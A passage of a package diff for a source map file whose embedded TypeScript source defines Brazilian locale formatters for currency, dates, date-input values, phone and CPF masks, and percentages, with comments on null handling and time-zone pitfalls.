8B,CAAC,EAAW,CACjF,IAAMC,EAASZ,EAAM,QAAQ,MAAO,EAAE,CAAC,CAAC,MAAM,EAAG,EAAE,EAEnD,GAAI,CAACC,EAAQ,OAIT,OAHIW,EAAO,QAAU,GACVA,EAAO,QAAQ,cAAe,SAAS,CAAC,CAAC,QAAQ,cAAe,OAAO,EAE3EA,EAAO,QAAQ,cAAe,SAAS,CAAC,CAAC,QAAQ,cAAe,OAAO,EAGlF,GAAIA,EAAO,QAAU,EAAG,OAAOA,EAE/B,IAAMC,EAAOD,EAAO,MAAM,EAAG,CAAC,EAC1BE,EAAaF,EAAO,MAAM,CAAC,EAC3BE,EAAW,KAAO,MAAK,EAAa,IAAIA,KAC5C,EAAaA,EAAW,MAAM,EAAG,CAAC,EAElC,IAAMC,EAASD,EAAW,MAAM,EAAG,CAAC,EAC9BE,EAASF,EAAW,MAAM,CAAC,EACjC,OAAOE,EAAS,IAAIH,EAAK,IAAIE,EAAO,GAAGC,IAAW,IAAIH,EAAK,IAAIE,GACnE,CAQA,SAAgBE,EAAU,EAAuB,CAC7C,OAAOjB,EACF,QAAQ,MAAO,EAAE,CAAC,CAClB,MAAM,EAAG,EAAE,CAAC,CACZ,QAAQ,cAAe,OAAO,CAAC,CAC/B,QAAQ,cAAe,OAAO,CAAC,CAC/B,QAAQ,oBAAqB,OAAO,CAC7C,CAiCA,SAAgBkB,EACZ,EACA,EAAgC,CAAC,EAC3B,CACN,GAAIzB,EAAAA,SAASO,CAAK,GAAK,CAAC,OAAO,SAASA,CAAK,EAAG,OAAON,EAAAA,aAAaO,CAAO,EAC3E,IAAMkB,EAAWlB,EAAQ,UAAY,EACrC,OAAON,EAAAA,aAAa,QAAS,CACzB,MAAO,UACP,sBAAuBwB,EACvB,sBAAuBA,CAC3B,CAAC,CAAC,CAAC,OAAOnB,CAAK,CACnB,C"}

package/dist/utils/format.js.map

@@ -1 +1 @@
-{"version":3,"file":"format.js","names":[],"sources":["../../src/utils/format.ts"],"sourcesContent":["import { fallbackText, isAbsent, type FormatFallbackOptions } from \"@/utils/absent\";\nimport { dateTimeFormat, numberFormat } from \"@/utils/intl-cache\";\n\n/**\n * Format a number as Brazilian Real currency.\n *\n * An absent or unrepresentable amount renders as `\"—\"` rather than as a number.\n * That branch is a data-correctness fix, not cosmetics: `Intl` coerces `null` to\n * zero, so an amount the backend left out used to reach the screen as\n * **`\"R$ 0,00\"`** — a plausible figure a reader has no way to question — and\n * `undefined` as `\"R$ NaN\"`.\n *\n * @example\n * ```typescript\n * formatCurrency(1234.56);                      // \"R$ 1.234,56\"\n * formatCurrency(null);                         // \"—\"\n * formatCurrency(null, { fallback: \"sem valor\" }); // \"sem valor\"\n * ```\n *\n * @param value - The amount in BRL, or `null`/`undefined` when there is none.\n * @param options - Text to render when there is nothing to format.\n * @returns A locale-formatted string, e.g. \"R$ 1.234,56\".\n */\nexport function formatCurrency(\n    value: number | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n    return numberFormat(\"pt-BR\", { style: \"currency\", currency: \"BRL\" }).format(value);\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy`.\n *\n * Absent input answers `\"—\"`. It used to **throw**: `new Date(null)` is epoch and\n * `null.getTime` is a `TypeError`, so a nullable column — which is every\n * `deleted_at`, `expires_at` and half the `updated_at` a FastAPI backend sends —\n * took the screen down instead of rendering a gap.\n *\n * A value that is present and unparseable still answers `\"\"`, deliberately: on a\n * screen that reads a log, \"nobody filled this in\" and \"what they filled in is\n * broken\" are different findings, and the second is the one worth chasing.\n *\n * @example\n * ```typescript\n * formatDate(\"2026-05-16T12:00:00Z\"); // \"16/05/2026\"\n * formatDate(null);                   // \"—\"\n * formatDate(\"banana\");               // \"\"\n * ```\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted date string, the fallback when absent, or empty string when\n *   the value is present and invalid.\n */\nexport function formatDate(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options);\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    return dateTimeFormat(\"pt-BR\").format(date);\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-dd`, the value an\n * `<input type=\"date\">` accepts.\n *\n * Built from the **local** calendar parts rather than `toISOString().slice(0, 10)`,\n * which is the reflex and which is wrong: `toISOString` converts to UTC first, so\n * anything after 21:00 in UTC-3 reports the next day and the form opens on the\n * wrong date. `formatDate` cannot fill this role because a date input rejects\n * `dd/MM/yyyy` outright.\n *\n * A value that is already `yyyy-MM-dd` is returned untouched, and that shortcut\n * is load-bearing rather than an optimisation: `new Date(\"2026-05-16\")` is parsed\n * as **UTC** midnight, which in UTC-3 is the 15th at 21:00, so round-tripping the\n * exact value a backend sent would move it back a day.\n *\n * @example\n * <input type=\"date\" defaultValue={formatDateForInput(order.createdAt)} />\n *\n * Absent input answers `\"\"` here — **not** the em dash the reading formatters\n * use — because that is what an input reads as \"no value\"; an em dash would\n * arrive as content the user has to delete before typing a date.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text for an absent value; defaults to `\"\"`.\n * @returns The `yyyy-MM-dd` value, or an empty string when the input is invalid —\n *   which is what a date input reads as \"no value\", unlike `\"Invalid Date\"`.\n */\nexport function formatDateForInput(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options, \"\");\n    if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}$/.test(value)) return value;\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n    const day = `${date.getDate()}`.padStart(2, \"0\");\n    return `${date.getFullYear()}-${month}-${day}`;\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-ddTHH:mm`, the value an\n * `<input type=\"datetime-local\">` accepts.\n *\n * The sibling of {@link formatDateForInput}, and it exists for the same reason:\n * `toISOString().slice(0, 16)` is the reflex and it is wrong. `toISOString`\n * converts to UTC first, so a 22:00 appointment in UTC-3 opens the form on the\n * next day at 01:00 — here the trap costs the hour as well as the date.\n *\n * A value already in `yyyy-MM-ddTHH:mm` is returned untouched. A value carrying\n * a zone (`...Z`, `...-03:00`) deliberately does **not** take that shortcut: it\n * is a different instant from the naive string that looks like it, so it is\n * converted to the local calendar parts the input has to show.\n *\n * Seconds are dropped. A `datetime-local` steps by the minute unless the app\n * sets `step`, so a `:ss` the field cannot represent would be silently discarded\n * on the first edit anyway — truncating here keeps the rendered value and the\n * submitted value the same.\n *\n * @example\n * <input\n *     type=\"datetime-local\"\n *     defaultValue={formatDateTimeForInput(appointment.startsAt)}\n * />\n *\n * @param value - ISO string or Date.\n * @returns The `yyyy-MM-ddTHH:mm` value, or an empty string when the input is\n *   invalid — which is what a datetime input reads as \"no value\", unlike\n *   `\"Invalid Date\"`.\n */\nexport function formatDateTimeForInput(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options, \"\");\n    if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}$/.test(value)) return value;\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n    const day = `${date.getDate()}`.padStart(2, \"0\");\n    const hours = `${date.getHours()}`.padStart(2, \"0\");\n    const minutes = `${date.getMinutes()}`.padStart(2, \"0\");\n    return `${date.getFullYear()}-${month}-${day}T${hours}:${minutes}`;\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy HH:mm`.\n *\n * Same contract as {@link formatDate}: absent answers the fallback (`\"—\"` by\n * default) instead of throwing, and present-but-invalid answers `\"\"`.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted datetime string, the fallback when absent, or empty string\n *   when the value is present and invalid.\n */\nexport function formatDateTime(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options);\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    return dateTimeFormat(\"pt-BR\", { dateStyle: \"short\", timeStyle: \"short\" }).format(date);\n}\n\nexport interface FormatPhoneOptions {\n    /**\n     * Treat the number as a mobile line: insert the mandatory `9` after the area\n     * code when it is missing, and group the subscriber part `5+4` from the\n     * first digit typed instead of waiting for the eleventh.\n     *\n     * Default `false`, which keeps the length-based behaviour: `4+4` up to ten\n     * digits, `5+4` at eleven.\n     */\n    mobile?: boolean;\n}\n\n/**\n * Apply the Brazilian phone mask `(XX) XXXXX-XXXX` or `(XX) XXXX-XXXX`.\n *\n * By default the grouping is decided by **length**, which is what a field\n * accepting both landlines and mobiles needs.\n *\n * `mobile: true` is for a field that only accepts mobile numbers, and it exists\n * because the default is wrong as an as-you-type mask there. Reading anything up\n * to ten digits as a landline puts the hyphen after the fourth subscriber digit,\n * so a half-typed mobile renders `(11) 9123-4`; it only becomes `(11) 91234-5`\n * once the eleventh digit lands. The separator visibly jumps backwards while the\n * user is still typing. With `mobile`, the same input reads `(11) 91234` and the\n * hyphen never moves. It also inserts the leading `9` every Brazilian mobile\n * carries, so a ten-digit number gets corrected rather than masked as a landline.\n *\n * @param value - Raw digits or partially masked string.\n * @param options - Masking options.\n * @returns Masked phone string.\n *\n * @example\n * formatPhone(\"1191234\");                      // \"(11) 9123-4\"\n * formatPhone(\"1191234\", { mobile: true });    // \"(11) 91234\"\n * formatPhone(\"1112345678\", { mobile: true }); // \"(11) 91234-5678\" — 9 inserted\n */\nexport function formatPhone(value: string, options: FormatPhoneOptions = {}): string {\n    const digits = value.replace(/\\D/g, \"\").slice(0, 11);\n\n    if (!options.mobile) {\n        if (digits.length <= 10) {\n            return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{4})(\\d)/, \"$1-$2\");\n        }\n        return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{5})(\\d)/, \"$1-$2\");\n    }\n\n    if (digits.length <= 2) return digits;\n\n    const area = digits.slice(0, 2);\n    let subscriber = digits.slice(2);\n    if (subscriber[0] !== \"9\") subscriber = `9${subscriber}`;\n    subscriber = subscriber.slice(0, 9);\n\n    const prefix = subscriber.slice(0, 5);\n    const suffix = subscriber.slice(5);\n    return suffix ? `(${area}) ${prefix}-${suffix}` : `(${area}) ${prefix}`;\n}\n\n/**\n * Apply the Brazilian CPF mask `XXX.XXX.XXX-XX`.\n *\n * @param value - Raw digits or partially masked string.\n * @returns Masked CPF string.\n */\nexport function formatCPF(value: string): string {\n    return value\n        .replace(/\\D/g, \"\")\n        .slice(0, 11)\n        .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n        .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n        .replace(/(\\d{3})(\\d{1,2})$/, \"$1-$2\");\n}\n\n/** How {@link formatPercent} renders a fraction. */\nexport interface FormatPercentOptions extends FormatFallbackOptions {\n    /**\n     * Decimal places to show, fixed (padded as well as truncated).\n     *\n     * Defaults to `1`, which is what the function always did. Two is the case\n     * that produced this option: a confidence of 98,74% and one of 98,7% are the\n     * same number on a summary card and two different readings on a detail\n     * screen, so the precision belongs to the call site.\n     */\n    decimals?: number;\n}\n\n/**\n * Format a fraction (0-1) as a percentage.\n *\n * A non-finite input renders as `\"—\"` rather than `\"NaN%\"` or `\"∞%\"`, which is\n * what `Intl.NumberFormat` produces and what a division by zero upstream puts on\n * the screen. It matches `formatDurationMs`, which already answers that way.\n *\n * @example\n * ```typescript\n * formatPercent(0.9874);                // \"98,7%\"\n * formatPercent(0.9874, { decimals: 2 }); // \"98,74%\"\n * formatPercent(0 / 0);                 // \"—\"\n * ```\n *\n * @param value - Fraction between 0 and 1.\n * @param options - Rendering options; `decimals` defaults to 1.\n * @returns Formatted percent string, e.g. \"12,5%\", or `\"—\"` for a non-finite input.\n */\nexport function formatPercent(\n    value: number | null | undefined,\n    options: FormatPercentOptions = {},\n): string {\n    if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n    const decimals = options.decimals ?? 1;\n    return numberFormat(\"pt-BR\", {\n        style: \"percent\",\n        minimumFractionDigits: decimals,\n        maximumFractionDigits: decimals,\n    }).format(value);\n}\n"],"mappings":"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"}
+{"version":3,"file":"format.js","names":["formatCurrency","isAbsent","value","fallbackText","options","numberFormat","formatDate","date","dateTimeFormat","formatDateForInput","month","day","formatDateTimeForInput","hours","minutes","formatDateTime","formatPhone","digits","area","subscriber","prefix","suffix","formatCPF","formatPercent","decimals"],"sources":["../../src/utils/format.ts"],"sourcesContent":["import { fallbackText, isAbsent, type FormatFallbackOptions } from \"@/utils/absent\";\nimport { dateTimeFormat, numberFormat } from \"@/utils/intl-cache\";\n\n/**\n * Format a number as Brazilian Real currency.\n *\n * An absent or unrepresentable amount renders as `\"—\"` rather than as a number.\n * That branch is a data-correctness fix, not cosmetics: `Intl` coerces `null` to\n * zero, so an amount the backend left out used to reach the screen as\n * **`\"R$ 0,00\"`** — a plausible figure a reader has no way to question — and\n * `undefined` as `\"R$ NaN\"`.\n *\n * @example\n * ```typescript\n * formatCurrency(1234.56);                      // \"R$ 1.234,56\"\n * formatCurrency(null);                         // \"—\"\n * formatCurrency(null, { fallback: \"sem valor\" }); // \"sem valor\"\n * ```\n *\n * @param value - The amount in BRL, or `null`/`undefined` when there is none.\n * @param options - Text to render when there is nothing to format.\n * @returns A locale-formatted string, e.g. \"R$ 1.234,56\".\n */\nexport function formatCurrency(\n    value: number | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n    return numberFormat(\"pt-BR\", { style: \"currency\", currency: \"BRL\" }).format(value);\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy`.\n *\n * Absent input answers `\"—\"`. It used to **throw**: `new Date(null)` is epoch and\n * `null.getTime` is a `TypeError`, so a nullable column — which is every\n * `deleted_at`, `expires_at` and half the `updated_at` a FastAPI backend sends —\n * took the screen down instead of rendering a gap.\n *\n * A value that is present and unparseable still answers `\"\"`, deliberately: on a\n * screen that reads a log, \"nobody filled this in\" and \"what they filled in is\n * broken\" are different findings, and the second is the one worth chasing.\n *\n * @example\n * ```typescript\n * formatDate(\"2026-05-16T12:00:00Z\"); // \"16/05/2026\"\n * formatDate(null);                   // \"—\"\n * formatDate(\"banana\");               // \"\"\n * ```\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted date string, the fallback when absent, or empty string when\n *   the value is present and invalid.\n */\nexport function formatDate(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options);\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    return dateTimeFormat(\"pt-BR\").format(date);\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-dd`, the value an\n * `<input type=\"date\">` accepts.\n *\n * Built from the **local** calendar parts rather than `toISOString().slice(0, 10)`,\n * which is the reflex and which is wrong: `toISOString` converts to UTC first, so\n * anything after 21:00 in UTC-3 reports the next day and the form opens on the\n * wrong date. `formatDate` cannot fill this role because a date input rejects\n * `dd/MM/yyyy` outright.\n *\n * A value that is already `yyyy-MM-dd` is returned untouched, and that shortcut\n * is load-bearing rather than an optimisation: `new Date(\"2026-05-16\")` is parsed\n * as **UTC** midnight, which in UTC-3 is the 15th at 21:00, so round-tripping the\n * exact value a backend sent would move it back a day.\n *\n * @example\n * <input type=\"date\" defaultValue={formatDateForInput(order.createdAt)} />\n *\n * Absent input answers `\"\"` here — **not** the em dash the reading formatters\n * use — because that is what an input reads as \"no value\"; an em dash would\n * arrive as content the user has to delete before typing a date.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text for an absent value; defaults to `\"\"`.\n * @returns The `yyyy-MM-dd` value, or an empty string when the input is invalid —\n *   which is what a date input reads as \"no value\", unlike `\"Invalid Date\"`.\n */\nexport function formatDateForInput(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options, \"\");\n    if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}$/.test(value)) return value;\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n    const day = `${date.getDate()}`.padStart(2, \"0\");\n    return `${date.getFullYear()}-${month}-${day}`;\n}\n\n/**\n * Format an ISO date or Date instance as `yyyy-MM-ddTHH:mm`, the value an\n * `<input type=\"datetime-local\">` accepts.\n *\n * The sibling of {@link formatDateForInput}, and it exists for the same reason:\n * `toISOString().slice(0, 16)` is the reflex and it is wrong. `toISOString`\n * converts to UTC first, so a 22:00 appointment in UTC-3 opens the form on the\n * next day at 01:00 — here the trap costs the hour as well as the date.\n *\n * A value already in `yyyy-MM-ddTHH:mm` is returned untouched. A value carrying\n * a zone (`...Z`, `...-03:00`) deliberately does **not** take that shortcut: it\n * is a different instant from the naive string that looks like it, so it is\n * converted to the local calendar parts the input has to show.\n *\n * Seconds are dropped. A `datetime-local` steps by the minute unless the app\n * sets `step`, so a `:ss` the field cannot represent would be silently discarded\n * on the first edit anyway — truncating here keeps the rendered value and the\n * submitted value the same.\n *\n * @example\n * <input\n *     type=\"datetime-local\"\n *     defaultValue={formatDateTimeForInput(appointment.startsAt)}\n * />\n *\n * @param value - ISO string or Date.\n * @returns The `yyyy-MM-ddTHH:mm` value, or an empty string when the input is\n *   invalid — which is what a datetime input reads as \"no value\", unlike\n *   `\"Invalid Date\"`.\n */\nexport function formatDateTimeForInput(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options, \"\");\n    if (typeof value === \"string\" && /^\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}$/.test(value)) return value;\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    const month = `${date.getMonth() + 1}`.padStart(2, \"0\");\n    const day = `${date.getDate()}`.padStart(2, \"0\");\n    const hours = `${date.getHours()}`.padStart(2, \"0\");\n    const minutes = `${date.getMinutes()}`.padStart(2, \"0\");\n    return `${date.getFullYear()}-${month}-${day}T${hours}:${minutes}`;\n}\n\n/**\n * Format an ISO date or Date instance as `dd/MM/yyyy HH:mm`.\n *\n * Same contract as {@link formatDate}: absent answers the fallback (`\"—\"` by\n * default) instead of throwing, and present-but-invalid answers `\"\"`.\n *\n * @param value - ISO string, Date, or `null`/`undefined`.\n * @param options - Text to render when the value is absent.\n * @returns Formatted datetime string, the fallback when absent, or empty string\n *   when the value is present and invalid.\n */\nexport function formatDateTime(\n    value: string | Date | null | undefined,\n    options?: FormatFallbackOptions,\n): string {\n    if (isAbsent(value)) return fallbackText(options);\n    const date = typeof value === \"string\" ? new Date(value) : value;\n    if (Number.isNaN(date.getTime())) return \"\";\n    return dateTimeFormat(\"pt-BR\", { dateStyle: \"short\", timeStyle: \"short\" }).format(date);\n}\n\nexport interface FormatPhoneOptions {\n    /**\n     * Treat the number as a mobile line: insert the mandatory `9` after the area\n     * code when it is missing, and group the subscriber part `5+4` from the\n     * first digit typed instead of waiting for the eleventh.\n     *\n     * Default `false`, which keeps the length-based behaviour: `4+4` up to ten\n     * digits, `5+4` at eleven.\n     */\n    mobile?: boolean;\n}\n\n/**\n * Apply the Brazilian phone mask `(XX) XXXXX-XXXX` or `(XX) XXXX-XXXX`.\n *\n * By default the grouping is decided by **length**, which is what a field\n * accepting both landlines and mobiles needs.\n *\n * `mobile: true` is for a field that only accepts mobile numbers, and it exists\n * because the default is wrong as an as-you-type mask there. Reading anything up\n * to ten digits as a landline puts the hyphen after the fourth subscriber digit,\n * so a half-typed mobile renders `(11) 9123-4`; it only becomes `(11) 91234-5`\n * once the eleventh digit lands. The separator visibly jumps backwards while the\n * user is still typing. With `mobile`, the same input reads `(11) 91234` and the\n * hyphen never moves. It also inserts the leading `9` every Brazilian mobile\n * carries, so a ten-digit number gets corrected rather than masked as a landline.\n *\n * @param value - Raw digits or partially masked string.\n * @param options - Masking options.\n * @returns Masked phone string.\n *\n * @example\n * formatPhone(\"1191234\");                      // \"(11) 9123-4\"\n * formatPhone(\"1191234\", { mobile: true });    // \"(11) 91234\"\n * formatPhone(\"1112345678\", { mobile: true }); // \"(11) 91234-5678\" — 9 inserted\n */\nexport function formatPhone(value: string, options: FormatPhoneOptions = {}): string {\n    const digits = value.replace(/\\D/g, \"\").slice(0, 11);\n\n    if (!options.mobile) {\n        if (digits.length <= 10) {\n            return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{4})(\\d)/, \"$1-$2\");\n        }\n        return digits.replace(/(\\d{2})(\\d)/, \"($1) $2\").replace(/(\\d{5})(\\d)/, \"$1-$2\");\n    }\n\n    if (digits.length <= 2) return digits;\n\n    const area = digits.slice(0, 2);\n    let subscriber = digits.slice(2);\n    if (subscriber[0] !== \"9\") subscriber = `9${subscriber}`;\n    subscriber = subscriber.slice(0, 9);\n\n    const prefix = subscriber.slice(0, 5);\n    const suffix = subscriber.slice(5);\n    return suffix ? `(${area}) ${prefix}-${suffix}` : `(${area}) ${prefix}`;\n}\n\n/**\n * Apply the Brazilian CPF mask `XXX.XXX.XXX-XX`.\n *\n * @param value - Raw digits or partially masked string.\n * @returns Masked CPF string.\n */\nexport function formatCPF(value: string): string {\n    return value\n        .replace(/\\D/g, \"\")\n        .slice(0, 11)\n        .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n        .replace(/(\\d{3})(\\d)/, \"$1.$2\")\n        .replace(/(\\d{3})(\\d{1,2})$/, \"$1-$2\");\n}\n\n/** How {@link formatPercent} renders a fraction. */\nexport interface FormatPercentOptions extends FormatFallbackOptions {\n    /**\n     * Decimal places to show, fixed (padded as well as truncated).\n     *\n     * Defaults to `1`, which is what the function always did. Two is the case\n     * that produced this option: a confidence of 98,74% and one of 98,7% are the\n     * same number on a summary card and two different readings on a detail\n     * screen, so the precision belongs to the call site.\n     */\n    decimals?: number;\n}\n\n/**\n * Format a fraction (0-1) as a percentage.\n *\n * A non-finite input renders as `\"—\"` rather than `\"NaN%\"` or `\"∞%\"`, which is\n * what `Intl.NumberFormat` produces and what a division by zero upstream puts on\n * the screen. It matches `formatDurationMs`, which already answers that way.\n *\n * @example\n * ```typescript\n * formatPercent(0.9874);                // \"98,7%\"\n * formatPercent(0.9874, { decimals: 2 }); // \"98,74%\"\n * formatPercent(0 / 0);                 // \"—\"\n * ```\n *\n * @param value - Fraction between 0 and 1.\n * @param options - Rendering options; `decimals` defaults to 1.\n * @returns Formatted percent string, e.g. \"12,5%\", or `\"—\"` for a non-finite input.\n */\nexport function formatPercent(\n    value: number | null | undefined,\n    options: FormatPercentOptions = {},\n): string {\n    if (isAbsent(value) || !Number.isFinite(value)) return fallbackText(options);\n    const decimals = options.decimals ?? 1;\n    return numberFormat(\"pt-BR\", {\n        style: \"percent\",\n        minimumFractionDigits: decimals,\n        maximumFractionDigits: decimals,\n    